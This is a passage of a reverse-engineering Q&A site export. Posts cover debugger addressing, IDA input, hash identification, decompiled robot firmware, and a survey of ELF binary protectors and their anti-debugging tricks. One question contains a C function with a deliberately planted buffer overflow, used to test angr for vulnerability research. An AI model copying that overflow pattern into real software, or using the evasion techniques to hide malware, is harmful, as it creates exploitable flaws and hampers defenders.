  <row Id="21601" PostTypeId="1" CreationDate="2019-07-02T12:24:42.570" Score="3" ViewCount="624" Body="&lt;p&gt;Will every .exe file start from 00401000 or am I wrong assuming such a thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: total beginner here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when the program is first loaded onto x64dbg it immediately goes into a DLL, so I could not see the address 00401000, but indeed it is present by going into the memory map. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: the program goes directly into a DLL, how can I make x64dbg start it from 00401000, I tried setting a breakpoint(software and hardware) at 00401000 and also breaks on events such as &quot;entry breakpoint&quot; and &quot;system breakpoint&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for the welcome&lt;/p&gt;&#xA;" OwnerUserId="28900" LastEditorUserId="28900" LastEditDate="2019-08-14T22:40:10.247" LastActivityDate="2019-08-14T22:40:10.247" Title="I am analyzing an exe with x64dbg but I dont see the address 00401000" Tags="|x64dbg|" AnswerCount="1" CommentCount="1" ClosedDate="2019-07-03T21:56:56.407" ContentLicense="CC BY-SA 4.0" />
  <row Id="21602" PostTypeId="2" ParentId="21601" CreationDate="2019-07-02T15:32:17.683" Score="4" Body="&lt;p&gt;no every exe will not start from 0x401000    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the image base is hardcoded in header and is configurable with /entry switch when linking (ms linkers)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the operating system  can and will override the  preferred image base    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;all other address in the exe file are relative to the hardcoded preferred imagebase    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if os overrides it and maps it elsewhere all other address will be relative to the newly mapped address&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;dumpbin /headers cmd.exe  | findstr base&#xA;            1000 base of code&#xA;       140000000 image base (0000000140000000 to 0000000140064FFF)&#xA;                   Dynamic base&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as you can see the preferred image base for this specific binary is &lt;strong&gt;140000000&lt;/strong&gt;  and the base of code is relative to this address &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so if the binary got loaded in &lt;strong&gt;140000000&lt;/strong&gt;  the base of code will be at &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;140000000 + 0x1000&lt;/strong&gt;   == &lt;strong&gt;0x140001000&lt;/strong&gt;&lt;br&gt;&#xA;if it got loaded at &#xA;&lt;strong&gt;200000000&lt;/strong&gt;  the base of code will be at &lt;strong&gt;200000000 + 0x1000 == 0x200001000&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-07-02T15:32:17.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21603" PostTypeId="2" ParentId="21529" CreationDate="2019-07-02T20:10:19.267" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;File extensions normaly do not help - there is no real standard, there are 1000 of .DAT and .KAN files around with absolutly not relation&#xA;only the content of the files can give us any hint&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;an executable does normaly not contain source (or source like stuff), only enough information that the cpu can work with it, nearly not human readable - except by the cracks :)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is is a small Command line tool or a full blown graphical application?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can you upload the software somewhere (&lt;a href=&quot;http://www.tinyupload.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.tinyupload.com/&lt;/a&gt;) - so we are able to analyze or understand how the software is working - or a listing of the directory (screenshot or textfile) to get file sizes, extensions etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does the software run under Dosbox (download here: &lt;a href=&quot;https://www.dosbox.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dosbox.com/&lt;/a&gt;)&#xA;to get rid of the VM/Win95 dependency and get a feeling how complex the software ist (dongle, hardware dependecies, etc.)&#xA;-&gt; you could also try: &lt;a href=&quot;https://github.com/dmsc/emu2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/dmsc/emu2&lt;/a&gt; if the program is realy simple, cmd only and if linux is an option, but try DosBox before&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;its very doable if the size of the program isn't very big&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;any form of video or something that shows how the software is filled with data, calculating etc. would help (&lt;a href=&quot;https://www.screentogif.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.screentogif.com/&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;why do you think that the exe is based on Turbo Basic? Info-String in den Exe?&#xA;try opening the exe in IDA freeware 5 (&lt;a href=&quot;https://www.scummvm.org/news/20180331/?lang=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.scummvm.org/news/20180331/?lang=en&lt;/a&gt;) - only the version 5 freeware is capable to open DOS executables - the current version 7 freeware brings you nowhere&#xA;-&gt;to get us more detail information about the executable&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ALWAYS back up your complete installation, a single save-file in notepad cand kill your exe or data files - better use this tiny freeware hex editor: &lt;a href=&quot;https://mh-nexus.de/en/hxd/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mh-nexus.de/en/hxd/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;i've done several small to large reverse engineering projects before - so i known what im talking about :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;!!! 9 questions/statments given =&gt; 9 answers/feedbacks required !!!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="28904" LastEditorUserId="28904" LastEditDate="2019-07-03T07:11:40.753" LastActivityDate="2019-07-03T07:11:40.753" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21604" PostTypeId="1" AcceptedAnswerId="21608" CreationDate="2019-07-02T22:14:26.020" Score="4" ViewCount="5226" Body="&lt;p&gt;I have a program that waits for the user to enter a string input, how can I enter that string input while debugging my program with IDA?&lt;/p&gt;&#xA;" OwnerUserId="28742" LastActivityDate="2019-07-04T08:20:27.927" Title="How can I pass input to my program while debugging it with IDA" Tags="|ida|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21605" PostTypeId="2" ParentId="21604" CreationDate="2019-07-02T22:38:54.557" Score="1" Body="&lt;p&gt;I have found the answer after hours of searching, it is really sad that such a great tool doesn't have this option easily enabled.&#xA;anyway, you have to lunch the IDA from the terminal but you have to add &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;cat |&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;before it.&#xA;For me, it was like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat | ./ida64 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then when the program waits for the user's input, you have to go back to the terminal and supply it there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add a file as an input you can do this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat myfile | ./ida64 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you know any better solution please post it here.&lt;/p&gt;&#xA;" OwnerUserId="28742" LastEditorUserId="28742" LastEditDate="2019-07-03T13:54:58.450" LastActivityDate="2019-07-03T13:54:58.450" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21606" PostTypeId="1" AcceptedAnswerId="21803" CreationDate="2019-07-04T00:26:53.087" Score="1" ViewCount="88" Body="&lt;p&gt;I have the following hex byte data. Can someone help me reverse engineer the temperatures calculation?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ID&#xA;||&#xA;81 00 8c 00 &#xA;82 00 aa 00 &#xA;83 00 04 01 &#xA;84 00 ff 00 &#xA;85 00 21 04 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first byte is the id! 81-84=1-4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the data is 14,0 C° and another one is 17,0 C°.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My tries:&lt;br&gt;&#xA;- (Second Byte * 10) + (Third Byte *10/256)&lt;br&gt;&#xA;- (Second Byte - 0x80) / 2&lt;br&gt;&#xA;- (Second Byte / 2) - 0x80&lt;br&gt;&#xA;- Second Byte * 100&lt;br&gt;&#xA;- (Second Byte / 2) - 20&lt;/p&gt;&#xA;" OwnerUserId="24786" LastEditorUserId="24786" LastEditDate="2019-07-08T20:49:50.227" LastActivityDate="2019-08-09T08:16:08.803" Title="Reverse Engineering Temperatures (RS485 Bus)" Tags="|decryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21607" PostTypeId="1" CreationDate="2019-07-04T01:13:24.507" Score="-1" ViewCount="726" Body="&lt;p&gt;I have some test data:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Test 1&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Text: pass1234&#xA;Salt: 33b9d87b83c097ce3ea6e6f84a298f839aafc6d7aa23d909a43ac94bdee35ddf&#xA;Hash: 61477724c136fb285918114792685a4d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Test 2&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Text: test1234&#xA;Salt: 33b9d87b83c097ce3ea6e6f84a298f839aafc6d7aa23d909a43ac94bdee35ddf&#xA;Hash: 00281231e8928af48c34ca03e09eebe5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Test 3&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Text: simple123&#xA;Salt: b68053c65b06b1b322b6cbc53fce1f614eee9366384a12aa01188bdaa8f14ac3&#xA;Hash: 0c9e564acfe36f51b54b5050741f351c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Test 4&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Test: pass1234&#xA;Salt: b68053c65b06b1b322b6cbc53fce1f614eee9366384a12aa01188bdaa8f14ac3&#xA;Hash: 0fc692cc78a51a9650c896c735a1b577&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They look like MD5 hashes but I could not reproduce them. Does anyone have any idea how to get the algorithm to reproduce these hashes? &lt;/p&gt;&#xA;" OwnerUserId="28912" LastActivityDate="2019-07-04T16:00:35.960" Title="Determining the hash algorithm used" Tags="|decryption|encryption|cryptography|cryptanalysis|" AnswerCount="1" CommentCount="5" ClosedDate="2019-07-05T02:32:13.950" ContentLicense="CC BY-SA 4.0" />
  <row Id="21608" PostTypeId="2" ParentId="21604" CreationDate="2019-07-04T08:20:27.927" Score="3" Body="&lt;p&gt;You can use I/O redirection operators in the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1398.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Process options-Parameters field&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The standard input/output/error channels can be redirected using the&#xA;  bash shell notations. for example: &lt;code&gt;&amp;gt;output 2&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-07-04T08:20:27.927" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21609" PostTypeId="1" CreationDate="2019-07-04T13:30:15.257" Score="4" ViewCount="946" Body="&lt;p&gt;I would like to use angr for vulnerability research.&#xA;I was thinking that if I did the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p = angr.Project('a.out', auto_load_libs=False)&#xA;sm = p.factory.simulation_manager()&#xA;while len(sm.unconstrained) == 0:&#xA;  sm.step&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then the unconstrained state could potentially point me to a vulnerability.&#xA;I coded an obvious potential buffer overflow as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void processPacket( char * pkt )&#xA;{&#xA;    char buffer[255];&#xA;    memcpy(buffer, &amp;amp;pkt[3], *((uint16_t*)&amp;amp;pkt[0]));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the first two bytes of a packet determine the length of the rest of the packet and therefore the length of the memcpy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;angr did find an unconstrained state, but it was not readily obvious how to examine the unconstrained state to determine the cause of the vulnerability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I find an unconstrained state, is there a way to determine the cause? Are vulnerability researchers using angr to look for potential vulnerabilities?&#xA;Is there a typical methodology to do so?&lt;/p&gt;&#xA;" OwnerUserId="28923" LastActivityDate="2019-07-04T13:30:15.257" Title="Using Angr in Vulnerability Research" Tags="|buffer-overflow|vulnerability-analysis|angr|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21610" PostTypeId="1" CreationDate="2019-07-04T14:17:05.413" Score="1" ViewCount="271" Body="&lt;p&gt;For the bit of background, I'm a robotic engineer. &#xA;Robotics manufactures hide some parameters of their robots in order to avoid their competition. Now, I need these data to compute the dynamics model of the robot. I'm working on establishing an ideal &quot;pathfinder&quot; in term of energy consumption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I have a .dat file gathering all the parameters I want, but I don't know &quot;which one&quot; is &quot;which one&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've copied the code from the robot and dissasembled it using Ida pro. Now, I have some pseudo code that I analyse.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  FILE *__cdecl CDynamicData::loadRobcorFile(CDynamicData *this, char &#xA;&#xA;*filename, unsigned __int16 a3)&#xA;{&#xA;  int v3; // eax@4&#xA;  const char *v4; // ebx@6&#xA;  int v5; // eax@6&#xA;  signed int v6; // edx@6&#xA;  int v7; // eax@7&#xA;  int v8; // eax@8&#xA;  const char *v9; // ebx@11&#xA;  int v10; // eax@11&#xA;  signed int v11; // edx@11&#xA;  int v12; // eax@12&#xA;  int v13; // eax@13&#xA;  signed int v14; // ebx@16&#xA;  int v15; // eax@16&#xA;  signed int v16; // edx@16&#xA;  int v17; // eax@19&#xA;  signed int v18; // edx@19&#xA;  int v19; // eax@20&#xA;  int v20; // eax@25&#xA;  int i; // esi@28&#xA;  float v22; // ST34_4@31&#xA;  int v23; // eax@32&#xA;  int v24; // edi@34&#xA;  int v25; // esi@35&#xA;  float v26; // ST34_4@38&#xA;  FILE *result; // eax@41&#xA;  int v28; // [sp+28h] [bp-400h]@27&#xA;  int nbParam; // [sp+2Ch] [bp-3FCh]@27&#xA;  int v30; // [sp+30h] [bp-3F8h]@34&#xA;  char s; // [sp+40h] [bp-3E8h]@29&#xA;  char src; // [sp+140h] [bp-2E8h]@4&#xA;  char v33; // [sp+240h] [bp-1E8h]@30&#xA;  int v34; // [sp+340h] [bp-E8h]@23&#xA;  int v35; // [sp+3A0h] [bp-88h]@23&#xA;  char v36; // [sp+3B8h] [bp-70h]@23&#xA;  char v37; // [sp+3C0h] [bp-68h]@23&#xA;  char v38; // [sp+3C8h] [bp-60h]@23&#xA;  int v39; // [sp+3D4h] [bp-54h]@23&#xA;  FILE *stream; // [sp+3ECh] [bp-3Ch]@1&#xA;  void *v41; // [sp+3F0h] [bp-38h]@1&#xA;  int v42; // [sp+3F4h] [bp-34h]@1&#xA;  double v43; // [sp+3F8h] [bp-30h]@23&#xA;  double value; // [sp+400h] [bp-28h]@29&#xA;  int v45; // [sp+408h] [bp-20h]@4&#xA;  int indice; // [sp+40Ch] [bp-1Ch]@27&#xA;  int v47; // [sp+410h] [bp-18h]@25&#xA;  int v48; // [sp+414h] [bp-14h]@32&#xA;&#xA;  stream = 0;&#xA;  v42 = 256;&#xA;  readIntValues((CFileParser *)&amp;amp;stream, &quot;$DYN_DAT&quot;, &quot;REAL $DYN_DAT[%d]&quot;, &amp;amp;src, 1, &amp;amp;v47);&#xA;  v20 = operator new[](8 * v47, &amp;amp;std::nothrow);&#xA;  *((_DWORD *)this + 3) = v20;&#xA;&#xA;&#xA;  v28 = *((_DWORD *)this + 3);&#xA;  nbParam = v47;&#xA;  indice = 0;&#xA;  if ( v47 &amp;gt; 0 )&#xA;  {&#xA;    i = 0;&#xA;    do&#xA;    {&#xA;      CFileParser::getLine((CFileParser *)&amp;amp;stream, &amp;amp;s);&#xA;      if ( sscanf(&amp;amp;s, &quot;$DYN_DAT[%d]=%lf&quot;, &amp;amp;indice, &amp;amp;value) != 2 )&#xA;&#xA;      { // Can't acquire data&#xA;        snprintf(&amp;amp;v33, 0x100u, &quot;%s konnte nicht gelesen werden&quot;, &quot;$DYN_DAT[%d]=%lf&quot;);&#xA;        extended_internalError(&#xA;      }&#xA;      v22 = value;&#xA;      *(double *)(v28 + 8 * indice - 8) = v22;&#xA;      ++i;&#xA;    }&#xA;    while ( nbParam != i );&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, I don't understand the meaning of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  *((_DWORD *)this + 3) = v20;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      *(double *)(v28 + 8 * indice - 8) = v22;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you have any ideas ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I think it's a pointer of pointer, but I don't understand &quot;the meaning&quot; of it because it seems like v28 is a &quot;local variable&quot; with unaloccated space ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &quot;pseudo code&quot; of the constructor of the object DynDat:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl CDynamicData::CDynamicData(int a1)&#xA;{&#xA;  int result; // eax@1&#xA;&#xA;  result = a1;&#xA;  *(_BYTE *)a1 = 0;&#xA;  *(_DWORD *)(a1 + 4) = 0;&#xA;  *(_DWORD *)(a1 + 8) = 0;&#xA;  *(_DWORD *)(a1 + 12) = 0;&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bonus question: Do you have any idea of the most efficient way to trace back the parsing and use of some values ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind Regards,&lt;/p&gt;&#xA;" OwnerUserId="28925" LastActivityDate="2019-07-05T12:00:32.697" Title="Trouble when reverse engineering a industrial robot software in order to get some values" Tags="|ida|c++|c|static-analysis|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21611" PostTypeId="2" ParentId="3184" CreationDate="2019-07-04T14:32:36.763" Score="1" Body="&lt;p&gt;Click on the tool names to download. Some will be source code only, others binary only. Use at your own risk.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are 4 sections: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;experimental designs, which were developed to advance the state of the art in ELF binary protection or for research purposes&lt;/li&gt;&#xA;&lt;li&gt;tools resulting from personal projects or created for fun/as a hobby&lt;/li&gt;&#xA;&lt;li&gt;historically relevant protectors, now cracked/deprecated&lt;/li&gt;&#xA;&lt;li&gt;modern protectors - those known at the time of writing to be used out in the &quot;real world&quot;, so to speak (outside of academia - in malware for example).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Experimental / Proof of Concept&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/packz/binary-encryption/tree/master/binary-encryption/dacryfile&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dacryfile&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt; (2001)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;phrack article: &lt;a href=&quot;http://phrack.org/issues/58/5.html#article&quot; rel=&quot;nofollow noreferrer&quot;&gt;Armouring the ELF: Binary encryption on the UNIX platform&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Dacryfile is a collection of tools which implement the following concept.&#xA;  The host file is encrypted from the start of the &lt;code&gt;.text&lt;/code&gt; section, to the end&#xA;  of the &lt;code&gt;.text&lt;/code&gt; segment. The file now has its object code and its read only&#xA;  data protected by encryption, while all its data and dynamic objects are&#xA;  open to inspection. The host file is injected with a parasite that will&#xA;  perform the runtime decryption. This parasite can be of arbitrary size&#xA;  because it is appended to the end of the &lt;code&gt;.data&lt;/code&gt; segment. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&quot;Parasite code&quot; refers to code inserted into the either the file on disk or the process image in memory in order to change the runtime behavior of the program. Various techniques that were historically used to accomplish this kind of code insertion are discussed in Silvio Cesare's article &lt;a href=&quot;https://www.win.tue.nl/~aeb/linux/hh/virus/unix-viruses.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unix Viruses&lt;/a&gt; (1999)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mechanism by which the parasite code appended to the ELF binary containing the encrypted code accomplished is referred to by the grugq as &quot;subversive dynamic linking&quot;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The parasite itself is fairly simple, utilising the &lt;em&gt;subversive dynamic&#xA;  linking&lt;/em&gt; Linux library to access libc functions, and rc4 to decrypt the host.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This technique was detailed in his article &lt;a href=&quot;https://grugq.github.io/docs/subversiveld.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cheating the ELF&lt;/a&gt;, in which parasite code written to a dynamically linked executable to is able to make calls to library functions essentially by searching through the process's &lt;code&gt;proc/self/maps&lt;/code&gt; file for &lt;code&gt;glibc&lt;/code&gt;'s shared object loading and unloading functions to then load the libraries of interest.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-mehta/bh-us-03-shiva-0.96.tar&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;shiva 0.96&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt; (2003) (binary only (protected))&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-mehta/bh-us-03-mehta.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Introduction Presentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.blackhat.com/presentations/bh-federal-03/bh-federal-03-eagle/bh-fed-03-eagle.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Defeat Presentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implements the following features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Outer obfuscation layer to thwart static analysis&lt;/li&gt;&#xA;&lt;li&gt;AES encrpyted, password protected middle layer&lt;/li&gt;&#xA;&lt;li&gt;Inner encrypted layer consisting of crypt blocks which may be memory-mapped on demand&lt;/li&gt;&#xA;&lt;li&gt;TRAP flag detection to prevent single-stepping&lt;/li&gt;&#xA;&lt;li&gt;forks and then the processes &lt;code&gt;ptrace()&lt;/code&gt; each other, which prevents PTRACE_ATTACH&lt;/li&gt;&#xA;&lt;li&gt;jumps into the middle of instructions&lt;/li&gt;&#xA;&lt;li&gt;catches SIGTRAP&lt;/li&gt;&#xA;&lt;li&gt;timing checks&lt;/li&gt;&#xA;&lt;li&gt;INT3 instruction replacement&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Outside of these presentations, it has been difficult to find additional information besides some discussion in &lt;code&gt;phrack&lt;/code&gt; articles on ELF runtime encryption/decryption. No source code is available, only the binary, which is protected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://phrack.org/issues/63/13.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;cryptexec&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt; (2005)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;phrack article: &lt;a href=&quot;http://phrack.org/issues/63/13.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;cryptexec: Next-generation runtime binary encryption using on-demand function extraction&lt;/a&gt;. The source code is included at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here runtime decryption is accomplished through a combination of a tracing function that uses a private stack, a disassembler and code emulation to read blocks of 24 bytes are read, decrypted, disassembled and then emulated. This ensures that no more than 24 bytes of unencrypted program code reside in memory while decrypting and executing the protected code.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The tracing routine maintains two contexts: the traced context and&#xA;  its own context. The context consists of 8 32-bit general-purpose&#xA;  registers and flags. Other registers are not modified by the routine.&#xA;  Both contexts are held on the private stack (that is also used for&#xA;  calling C).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The idea is to fetch, one at a time, instructions from the traced &#xA;  program and execute them natively. Intel instruction set has rather &#xA;  irregular encoding, so the XDE [5] disassembler engine is used to find &#xA;  both the real opcode and total instruction length. During experiments on &#xA;  FreeBSD (which uses LOCK- prefixed MOV instruction in its dynamic loader) &#xA;  I discovered a bug in XDE which is described and fixed below.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We maintain our own EIP in traced_eip, round it down to the next lower&#xA;  8-byte boundary and then decrypt 24 bytes into our own buffer.  Then&#xA;  the disassembly takes place and the control is  transferred to emulation&#xA;  routines via the opcode control table.  All instructions, except control&#xA;  transfer, are executed natively (in traced context which is restored at&#xA;  appropriate time).  After single instruction execution, the control is&#xA;  returned to our tracing routine.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/zvrba/cspim&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;CSPIM&lt;/code&gt;&lt;/a&gt;&lt;/strong&gt; (2010)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also developed by Vrba (the designer of the aforementioned &lt;code&gt;cryptexec&lt;/code&gt;), and presented in the paper &lt;a href=&quot;https://ieeexplore.ieee.org/document/5438087&quot; rel=&quot;nofollow noreferrer&quot;&gt;Program Obfuscation by Strong Cryptography&lt;/a&gt; (the paper is paywalled but the code is on github and the &lt;a href=&quot;http://zvrba.net/articles/encrypted-execution.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vrba's site&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...we present a program obfuscation method that is based on the combination of strong encryption of code and data and a CPU simulator(CSPIM) that implements the MIPS I instruction set. Our method is different from existing methods in that only a single word (32-bits) of the protected code or data is present as plain-text in main memory. Furthermore, our method allows the possibility of externally supplying the decryption key to the simulator. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VJBqE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VJBqE.png&quot; alt=&quot;CSPIM&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above diagram is from &lt;a href=&quot;https://www.esat.kuleuven.be/cosic/publications/article-2038.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Enhancements to a virtual machine based code&#xA;encryptor&lt;/a&gt; (no code available for this paper as far as I know).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Personal 